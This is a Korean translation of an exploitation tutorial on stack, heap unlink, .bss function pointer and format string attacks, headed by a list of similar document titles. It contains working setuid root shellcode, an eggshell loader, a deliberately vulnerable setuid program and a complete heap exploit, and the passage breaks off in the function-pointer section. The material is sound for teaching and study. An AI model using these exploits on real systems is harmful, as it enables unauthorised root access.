"Analysis of the Exploitation Processes"

Similar documents
Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

hlogin2

History

Deok9_Exploit Technique

<52544CC0BB20BEC6B4C2B0A12E687770>

강의10

PowerPoint Template

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Sena Technologies, Inc. HelloDevice Super 1.1.0

hlogin7

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

Microsoft Word - readme.doc

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Microsoft Word - FunctionCall


PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

PowerPoint 프레젠테이션

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

PowerPoint 프레젠테이션

BOF Foundation.doc

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

Return-to-libc

11장 포인터

chap7.key

BMP 파일 처리

½½¶óÀ̵å Á¦¸ñ ¾øÀ½

6주차.key

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

PowerPoint 프레젠테이션

Microsoft Word - building the win32 shellcode 01.doc

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Fedora Core 3,4,5 stack overflow.docx

PowerPoint 프레젠테이션

Microsoft Word - FreeBSD Shellcode 만들기.docx

PowerPoint 프레젠테이션

vi 사용법

슬라이드 1

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

untitled

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

Microsoft PowerPoint - lab14.pptx

Smashing The Stack For Fun And Profit by Aleph One

歯7장.PDF

SRC PLUS 제어기 MANUAL

chap7.PDF

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap10-함수의활용.pptx

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

No Slide Title

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - ExecutionStack

Microsoft PowerPoint - chap06-2pointer.ppt

RTL

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

PowerPoint 프레젠테이션

歯9장.PDF

Microsoft PowerPoint - chap6 [호환 모드]

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

IDA 5.x Manual hwp

A Hierarchical Approach to Interactive Motion Editing for Human-like Figures

금오공대 컴퓨터공학전공 강의자료

vi 사용법

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

untitled

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint - [2009] 02.pptx

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

2009년 상반기 사업계획

Remote Buffer Overflow & Format String 2012 년 8 월 6 일월요일 오후 6:32 ================================================================ Title: Remote Buffer

PowerPoint 프레젠테이션

본 강의에 들어가기 전

1.hwp

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

various tricks for remote linux exploits v3.pptx

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

컴파일러

untitled

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

슬라이드 1

PowerPoint 프레젠테이션

$ret = ""; $socket = fsockopen(" ", 8888, $errno, $errstr, 100); fgets( $socket, 50); fgets( $socket, 50); $ret.= fgets( $socket, 50); $

/chroot/lib/ /chroot/etc/

Transcription:

"Analysis of the Exploitation Processes" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Steven Hill aka: SolarIce www.covertsystems.org steve@covertsystems.org (c) 2004 편역 : poc@securityproof.net 이글은원문의소스코드를그대로유지하면서역자의개인서버에서다시테스트된것을바탕으로새롭게 정리된것입니다. 일부섹션은원문과많이달라졌습니다. 원문의내용과비교하면서공부하는것도좋을 것같습니다. 원문을충실히읽어보시길권합니다.

Table of Contents: ~~~~~~~~~~~~~~~~~~ I. Forward II. Types of Vulnerabilities a: Stack overwrite b: Heap overwrite c: Function pointer overwrite d: Format string III. Exploitation Methods a: Stack exploitation b: Heap exploitation c: Function pointer exploitation d: Format string exploitation e: Return-to-libc exploitation IV. Summary V. References

[I] Forward: ~~~~~~~~~~~~ 이글에서다루는내용은다음과같다. * Stack exploitation * Heap exploitation * Function pointer exploitation * Format string exploitation * Return-to-libc exploitation 이글을이해하기위해서는 C, 어셈블리어, gdb, 쉘코드등에대한기본지식이필요하다. [II] Types of Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a: Stack overwrite ~~~~~~~~~~~~~~~~~~~ buffer overflow 로도알려진 stack overwrite 는이미많은문서에서다루어진것으로, 굳이여기에 포함시키는이유는다른것의바탕이되기때문이며, 이문서전체를이해하는데필수적이기때문이다. stack overwrite의목적은 buffer를 overflow시켜 stack에위치한 EIP instaruction pointer 를쉘코드의주소로덮어쓰는것이다. 호출되었던함수가자신의작업을한이후리턴할때 EIP register에위치한주소가실행되고, 그결과취약한프로그램또는프로세스의권한으로쉘코드를실행하게된다. 만약취약한프로그램이 suid/sgid root의권한으로되어있다면공격성공시 root 권한을획득하게된다. b: Heap overwrite ~~~~~~~~~~~~~~~~~~ Heap overwrite 는 stack overwrite 와아주유사한취약점이다. 하지만스택에위치한 EIP 를덮어쓰는 것대신 malloc() 과같은함수의호출을통해할당되는영역을덮어쓴다. 동적으로할당된버퍼를 오버플로우시킴으로써 data 는 heap 상에연속적으로할당되어있는섹션으로흘러갈수있다. 이것은 heap 영역의주요내용을수정하게할수있게하는것이다.

c: Function pointer overwrite ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.bss section ~~~~~~~~~~~~ function pointer overwrite 는포인터그자체에접근할수있을때유용하다. 만약우리가포인터그 자체에접근할수있다면쉘코드의주소로 static buffer 를오버플로우시켜공격대상의포인터를덮어쓸 수있다. 프로세스 ( 프로그램 ) 가코드를실행하는동안공격대상이되는함수의포인터를호출하면이미 쉘코드의주소로덮어쓰인그포인터는 setreuid shell 을실행하게될것이다. d: Format string ~~~~~~~~~~~~~~~~~ Format string 취약점은공격자의입장에서는운이좋은셈인데, 그이유는거의어떤주소라도 공격자는공격자자신이제공한특정한주소 (return address,.dtors,.got 섹션등등 ) 로덮어쓸수 있기때문이다. 포맷버그는 printf, snprintf 등의함수가프로그램에서사용될때 format specifier 를지정하지않고사용될때발생한다. 이 format specifier를사용하지않을경우공격자는 printf() 와같은함수에대한파라미터로 format specifier를제공할수있다. 이것을통해스택으로부터직접적으로 stack frame의내용을파악할수있게된다. 그리고공격자는메모리의 user-space 영역에접근할수있다. 이공격에서중요한것은그 user-space에대한 offset을찾아내는것이다. 여기서 offset이란쉘코드나다른공격주소로덮어쓸주소를말한다. [III] Exploitation Methods: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ a: Stack exploitation ~~~~~~~~~~~~~~~~~~~~~~ 이제기본적인준비를한다. [root@localhost poc]# cat > vul.c #include <stdio.h> #include <string.h>

#include <stdlib.h> int main(int argc, char **argv) { char buffer[1024]; if(argc > 1) strcpy(buffer, argv[1]); return EXIT_SUCCESS; } [root@localhost poc]# gcc -o vul vul.c [root@localhost poc]# chown root vul [root@localhost poc]# chgrp root vul [root@localhost poc]# chmod 4755 vul [root@localhost poc]# ls -l vul -rwsr-xr-x 1 root root 11368 5월 10 16:13 vul [root@localhost poc]# 이제공격에사용될쉘코드를만들어보자. 원문에서는아주간단하게쉘코드를추출할수있는방법을 제시하고있다. 다음은그방법과과정이며, 참고하길바란다. [root@localhost poc]# su poc [poc@localhost poc]$ cat > shelltostring.c #include <stdio.h> #include <stdlib.h> char shell[] = //setreuid(0, 0); "\x31\xc0" // xorl %eax, %eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x46" // movb $0x46,%al "\xcd\x80" // int $0x80 //execve(argv[0], &argv[0], NULL); "\x31\xc0" // xorl %eax,%eax "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x2f\x2f\x73\x68" // pushl $0x68732f2f

"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 int main(void) { FILE *fp; int x; fp = fopen("tinyshell", "wb"); for(x = 0; x < strlen(shell); x++) fprintf(fp, "%c", shell[x]); printf("bytes: %d\n", strlen(shell)); fclose(fp); return EXIT_SUCCESS; } [poc@localhost poc]$ gcc o shelltostring shelltostring.c [poc@localhost poc]$./shelltostring Bytes: 33 [poc@localhost poc]$ xxd -g1 tinyshell 0000000: 31 c0 31 db b0 46 cd 80 31 c0 31 d2 52 68 2f 2f 1.1..F..1.1.Rh// 0000010: 73 68 68 2f 62 69 6e 89 e3 52 53 89 e1 b0 0b cd shh/bin..rs... 0000020: 80. [poc@localhost poc]$ xxd 명령을사용하여쉘코드를추출하였는데, xxd 의사용법은다음과같다. [poc@localhost poc]$ xxd -h Usage: xxd [options] [infile [outfile]] or

xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]] Options: -a toggle autoskip: A single '*' replaces nul-lines. Default off. -b binary digit dump (incompatible with -p,-i,-r). Default hex. -c cols format <cols> octets per line. Default 16 (-i: 12, -ps: 30). -E show characters in EBCDIC. Default ASCII. -g number of octets per group in normal output. Default 2. -h print this summary. -i output in C include file style. -l len stop after <len> octets. -ps output in postscript plain hexdump style. -r reverse operation: convert (or patch) hexdump into binary. -r -s off revert with <off> added to file positions found in hexdump. -s [+][-]seek start at <seek> bytes abs. (or +: rel.) infile offset. -u use upper case hex letters. -v show version: "xxd V1.10 27oct98 by Juergen Weigert". [poc@localhost poc]$ 이제공격에필요한셀코드를문자열형태로추출해냈다. 스택기반의오버플로우취약점을공략하는방법들중에서가장일반적인방법은환경변수 (environment variable) 에쉘코드를올려두고, 그주소로 EIP를덮어쓰는것이다. 쉘코드를환경변수에등록시켜주는대표적인방법은 eggshell이란프로그램을사용하는것이다. [poc@localhost poc]$ cat > eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { } asm ("movl %esp,%eax"); int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=default_offset, bsize=default_buffer_size; int i, eggsize=default_egg_size; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr;

} ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"egg=",4); putenv(egg); memcpy(buff,"ret=",4); putenv(buff); system("/bin/bash"); } [poc@localhost poc]$ gcc -o eggshell eggshell.c [poc@localhost poc]$./eggshell Using address: 0xbffff9b8 [poc@localhost poc]$ 쉘코드가환경변수에등록되어있고, 그주소를알아냈다. 이제남은것은이주소로스택상에위치한 EIP를덮어쓰는것이다. EIP를덮어쓰기위해얼마만큼의데이터가필요한지확인해야한다. 이것은 gdb를통해간단하게알아낼수있다. 취약한프로그램의소스만보고입력할데이터의양을결정하면안된다. 이것은 gcc 버전에따라 dummy 값이들어가기때문이다. [poc@localhost poc]$ gdb vul GNU gdb Red Hat Linux (5.2.1-4) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main

Dump of assembler code for function main: 0x8048328 <main>: push %ebp 0x8048329 <main+1>: mov %esp,%ebp 0x804832b <main+3>: sub $0x408,%esp 0x8048331 <main+9>: and $0xfffffff0,%esp 0x8048334 <main+12>: mov $0x0,%eax 0x8048339 <main+17>: sub %eax,%esp 0x804833b <main+19>: cmpl $0x1,0x8(%ebp) 0x804833f <main+23>: jle 0x804835b <main+51> 0x8048341 <main+25>: sub $0x8,%esp 0x8048344 <main+28>: mov 0xc(%ebp),%eax 0x8048347 <main+31>: add $0x4,%eax 0x804834a <main+34>: pushl (%eax) 0x804834c <main+36>: lea 0xfffffbf8(%ebp),%eax 0x8048352 <main+42>: push %eax 0x8048353 <main+43>: call 0x8048268 <strcpy> 0x8048358 <main+48>: add $0x10,%esp 0x804835b <main+51>: mov $0x0,%eax 0x8048360 <main+56>: leave 0x8048361 <main+57>: ret 0x8048362 <main+58>: nop 0x8048363 <main+59>: nop End of assembler dump. (gdb) q [poc@localhost poc]$ 위의결과를보면로컬변수를위해 0x408 바이트가할당되어있다. 16 진수 0x408 는십진수로 1032 바이트이다. 소스와비교해보면 8 바이트의 dummy 값이들어가있는것을알수있다. 이제버퍼로부터 EIP 까지의 offset 은 1036 이라는것을확인할수있다. 이것의이유는다음과같다. buffer(1024) dummy(8) EBP(4) EIP(return address) ---------------------- ------ 1032 4 우리가덮어쓰야할것은 EIP 이다. 그래서 EIP 까지덮어쓰려면 1040 바이트가필요하다.

[poc@localhost poc]$./vu `perl -e 'print "A"x1036,"\xb8\xf9\xff\xbf"'` sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# root 쉘을획득했다. argv[1] 으로입력된데이터는 A가 1036 바이트, 주소값 4 바이트, 총 1040 바이트가입력되었고, 그래서먼저 buffer(1032 할당되어있음 ) 를오버플로우시켜, EBP(4 바이트 ) 와 EIP(4 바이트 ) 까지덮어쓰게되었다. 더구체적으로말하면 buffer와 EBP는 A로, EIP는쉘코드를가지고있는환경변수의주소로 overwrite된다. b: Heap exploitation ~~~~~~~~~~~~~~~~~~~~~ 샘플용취약프로그램은다음과같고, 기본적인준비를한다. [root@localhost poc]# cat > vul.c #include <stdio.h> #include <stdlib.h> #define LEN 256 int main(int argc, char **argv) { char *buf1 = (char *)malloc(len); char *buf2 = (char *)malloc(len); strcpy(buf1, argv[1]); free(buf1); free(buf2); } [root@localhost poc]# chmod 4755 vul [root@localhost poc]# ls -l vul -rwsr-xr-x 1 root root 11594 5월 10 17:57 vul

[root@localhost poc]# su poc [poc@localhost poc]$./vul `perl -e 'print "A"x260'` 세그멘테이션오류 [poc@localhost poc]$ vul 프로그램의취약부분은 heap 영역에서발생하는 double free() 취약점이다. 좀더나아가기전에 malloc() 에의해할당된 heap 영역의메모리구조와 free 된후의메모리구조를알아보자. 먼저 malloc() 에의해동적으로할당되었지만아직 free 되지않은상태의메모리구조는다음과같다. data prev_inuse prev_size size malloc_usable_space() junk ^---------256--------^----1-----^----4----^---4---^---...-------^----- bytes 1 bit bytes bytes 다음은 free 된상태의메모리구조이다. data prev_inuse prev_size size fd bk junk ^---------256----------^----1-----^----4----^---4---^---4---^---4---^----- bytes 1 bit bytes bytes bytes bytes 공격에서염두에두어야할부분은 fd와 bk인데, 보통 fd에덮어쓰고자하는메모리의주소를쓰고, bk에쉘코드의주소를쓴다. 여기서 fd는 forward pointer를의미하고, bk는 back pointer를의미한다. 이두포인터는서로나란히연결되어있기때문에영문으로작성된문서들을보면 doubly-linked list라는표현이나오는것이다. 기억해두어야할것은 free() 함수는내부적으로 unlink() 함수를통해링크된리스트로부터 chunk 를 제거하며, malloc() 에의해동적으로할당된메모리부분인 chunk 에있는데이터는 fd 와 bk 포인터가 free 된 chunk 에위치한곳에서시작한다는것이다. 다음은 malloc.c 에서나오는 unlink() 함수에대한정의이다. 옆에있는주석은 nipon 이라는사람이 Overwriting.dtors using Malloc Chunk Corruption 이라는글에서달아놓은것이다.

#define unlink(p, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; // FD made pointer to the chunk forward in list // BK made pointer to the chunk previous in list // [A] pointer to previous chunk is assigned to bk of next chunk // [B] pointer to next chunk is assigned to fd of prev chunk } 여기서 A 와 B 는다음과같은도표에서나온것이니참고하길바란다. +---------------------------------------------+ <-Begin chunk A prev_size (size of the previous chunk) +---------------------------------------------+ size (size of this chunk) +---------------------------------------------+ fd (pointer to next chunk in bin) +---------------------------------------------+ bk (pointer to previous chunk in bin) +---------------------------------------------+ (free space of any length) +---------------------------------------------+ <-End of chunk A, Beginning of B prev_size (size of chunk A) +---------------------------------------------+ free chunk의이중으로링크된리스트는위의도표 A와 B의메모리영역에두번쓰기를통해업데이트가되는데, bk와 fd 각각의값에서그두번쓰기가발생하고, 이때 offset이조정이되며, fd에대해서는 8 바이트, bk에대해서는 12 바이트씩조절된다. 즉, bk는 fd chunk로복사되며 (bk 필드에 12 바이트추가 ), fd는 bk chunk로복사된다 (fd 필드에 8 바이트추가 ). 이제부터본격적으로공격에들어가보자. 먼저원본에서사용된방법을그대로사용하도록해보자. 물론그 과정에서약간의변화는있지만본질적으로는같다. 제일먼저확인해야할정보는 dynamic relocation entry 에있는 free() 함수의주소이다. 이주소는 objdump 명령을사용하면간단하게알아낼수있다. [poc@localhost poc]$ objdump -R./vul grep free 08049544 R_386_JUMP_SLOT free [poc@localhost poc]$ 그런데이주소를그대로공격에서사용하는것이아니라 12 바이트만큼빼고사용해야한다. 따라서

0x08049544 가아니라 0x08049538 이사용된다. 이것의이유는 unlink 의과정에대해이야기했던 것처럼 fd 는덮어쓰고자하는곳의 12 바이트를추가한주소에특정값을쓰기때문이다. 다음으로해야할작업은쉘코드를환경변수에등록하는것이다. 이것은 eggshell을이용하면될것이다. 하지만주의해야할것은앞에서도말했지만공격시사용할 shellcode의주소다음의 8 바이트부분에 unlink과정에서원하지않은주소값이들어가므로이 8 바이트를넘어서야한다. 즉, free() 에의해사용되는 unlink() 호출동안처음 8 바이트만큼분리되기때문에쉘코드의시작부분으로 jump할수있도록 jmp opcode(\xeb\x0e 혹은 \xeb\x0a) 를사용해야한다. 쉘코드와의간격이어느정도인지는 gdb를사용해서알아낸다. export 명령을이용해환경변수에쉘코드를등록시킨다. [poc@localhost poc]$ export SHELLCODE="\xeb\x0eAAAAAAAAAAAAAAA\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\ x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56 \x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" [poc@localhost poc]$ 제대로등록되어있는지 env 명령을통해확인해보자. [poc@localhost poc]$ env HOSTNAME=localhost.localdomain SHELLCODE=\xeb\x0eAAAAAAAAAAAAAAA\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x 5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh PVM_RSH=/usr/bin/rsh SHELL=/bin/bash TERM=vt100 HISTSIZE=1000 JLESSCHARSET=ko QTDIR=/usr/lib/qt3-gcc3.2 SSH_TTY=/dev/pts/1 USER=poc LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:o r=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;

32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01; 31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*. tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: PVM_ROOT=/usr/share/pvm3 USERNAME=root PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin :/usr/sbin:/usr/bin:/usr/x11r6/bin:/root/bin MAIL=/var/spool/mail/root PWD=/home/poc INPUTRC=/etc/inputrc LANG=ko_KR.eucKR LAMHELPFILE=/etc/lam/lam-helpfile SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass HOME=/home/poc SHLVL=2 XPVM_ROOT=/usr/share/pvm3/xpvm BASH_ENV=/root/.bashrc LOGNAME=poc LESSOPEN= /usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/bin/env [poc@localhost poc]$ 환경변수에제대로등록되어있다. 이제이 SHELLCODE 라는환경변수의주소를찾아야한다. 역자는 다음과같은간단한프로그램을작성하였다. [poc@localhost poc]$ cat > getenv.c #include <stdlib.h> #include <stdio.h> int main(int argc, char *argv[]) { char *addr; addr=getenv(argv[1]);

} printf("address of %s: %p\n",argv[1],addr); return 0; [poc@localhost poc]$ make getenv cc getenv.c -o getenv [poc@localhost poc]$./getenv SHELLCODE Address of SHELLCODE: 0xbffffac2 [poc@localhost poc]$ 쉘코드가등록되어있는주소를확인하였다. 그다음으로해야할것은 PREV_INUSE 비트를설정하는 것이다. 이를위해 little endian order 에서첫번째비트 (lowest bit) 를임의의수로바꾼다. 마지막으로해야할것은 prev_size 와 size 필드에대한음수값을설정하는것이다. 그런데이값은 PREV_SIZE 에서사용한값을그대로사용할수있다. 이제는모든준비가된것이다. 마지막으로공격 payload 에맞게설정하여공격하면된다. 원문의내용과다소달라졌는데, 원문과비교해서공부해보길바란다. 이섹션의마지막으로프랙 57호에실린 Vudo malloc tricks란글에서사용된 source와 exploit을수정하여 vul2 프로그램을공략해보도록하겠다. 먼저 exploit을작성하는데필요한정보를찾아보자. 과정에대한자세한설명은생략한다. 앞으로프로그램과거의유사한것이므로 exploit을작성하는원리를이해하는데도움이될것이다. [root@localhost poc]# cat > vul2.c #include <stdlib.h> #include <string.h> int main( int argc, char * argv[] ) { char * first, * second; first = malloc( 666 ); second = malloc( 12 ); strcpy( first, argv[1] ); free( first );

free( second ); return( 0 ); } [root@localhost poc]# make vul2 cc vul2.c -o vul2 [root@localhost poc]# chmod 4755 vul2 [root@localhost poc]# su poc [poc@localhost poc]$ objdump -R vul2 grep free 08049544 R_386_JUMP_SLOT free [poc@localhost poc]$ ltrace./vul2 2>&1 > grep 256 libc_start_main(0x08048390, 2, 0xbffffa64, 0x08048278, 0x08048420 <unfinished...> malloc(666) = 0x08049560 malloc(12) = 0x08049800 strcpy(0x08049560, "256") = 0x08049560 free(0x08049560) = <void> free(0x08049800) = <void> +++ exited (status 0) +++ [poc@localhost poc]$ [poc@localhost poc]$ cat > exploit.c #include <string.h> #include <unistd.h> #define FUNCTION_POINTER ( 0x08049544 ) #define CODE_ADDRESS ( 0x08049560 + 2*4 ) #define VULNERABLE "./vul2" #define DUMMY 0xdefaced #define PREV_INUSE 0x1 char shellcode[] = /* jump instruction */ "\xeb\x0appssssffff"

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main( void ) { char * p; char argv1[ 680 + 1 ]; char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1; *( (void **)p ) = (void *)( DUMMY ); p += 4; *( (void **)p ) = (void *)( DUMMY ); p += 4; memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); memset( p, 'B', (680-4*4) - (2*4 + strlen(shellcode)) ); p += ( 680-4*4 ) - ( 2*4 + strlen(shellcode) ); *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; *( (size_t *)p ) = (size_t)( -4 ); p += 4; *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; *p = '\0'; execve( argv[0], argv, NULL ); return( -1 ); } [poc@localhost poc]$ make exploit cc exploit.c -o exploit

[poc@localhost poc]$./exploit sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# c: Function pointer exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.bss section ~~~~~~~~~~~~ Sample vulnerable process. [poc@localhost bss]$ cat > vul.c #include <stdio.h> #include <string.h> #include <stdlib.h> #define LEN 256 void output(char *); int main(int argc, char **argv) { static char buffer[len]; static void (*func) (char *); func = output; strcpy(buffer, argv[1]); func(buffer); return EXIT_SUCCESS; } void output(char *string) { fprintf(stdout, "%s", string); }

[poc@localhost bss]$ gcc -o vul vul.c [poc@localhost bss]$ su Password: [root@localhost bss]# chown root vul [root@localhost bss]# chgrp root vul [root@localhost bss]# chmod 4755 vul [root@localhost bss]# ls -l vul -rwsr-xr-x 1 root root 11684 5월 10 23:50 vul [root@localhost bss]# heap 을다룰때 heap 은위로자란다는것을보았을것이다. 그래서위의소스를보면만약공격자가 256 바이트의 junk data 와쉘코드의주소를입력하게되면 func() 의포인터를덮어쓸수있다. 하지만만약프로그램이실행과정동안에 func() 함수의포인터를사용하지않는다면 func() 함수의 포인터를덮어쓰는것자체로는공격에성공할수없다. 너무나당연한말이다. gdb 를사용해서간단히 알아보자. [poc@localhost bss]$ gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x8048384 <main>: push %ebp 0x8048385 <main+1>: mov %esp,%ebp 0x8048387 <main+3>: sub $0x8,%esp 0x804838a <main+6>: and $0xfffffff0,%esp 0x804838d <main+9>: mov $0x0,%eax 0x8048392 <main+14>: sub %eax,%esp 0x8048394 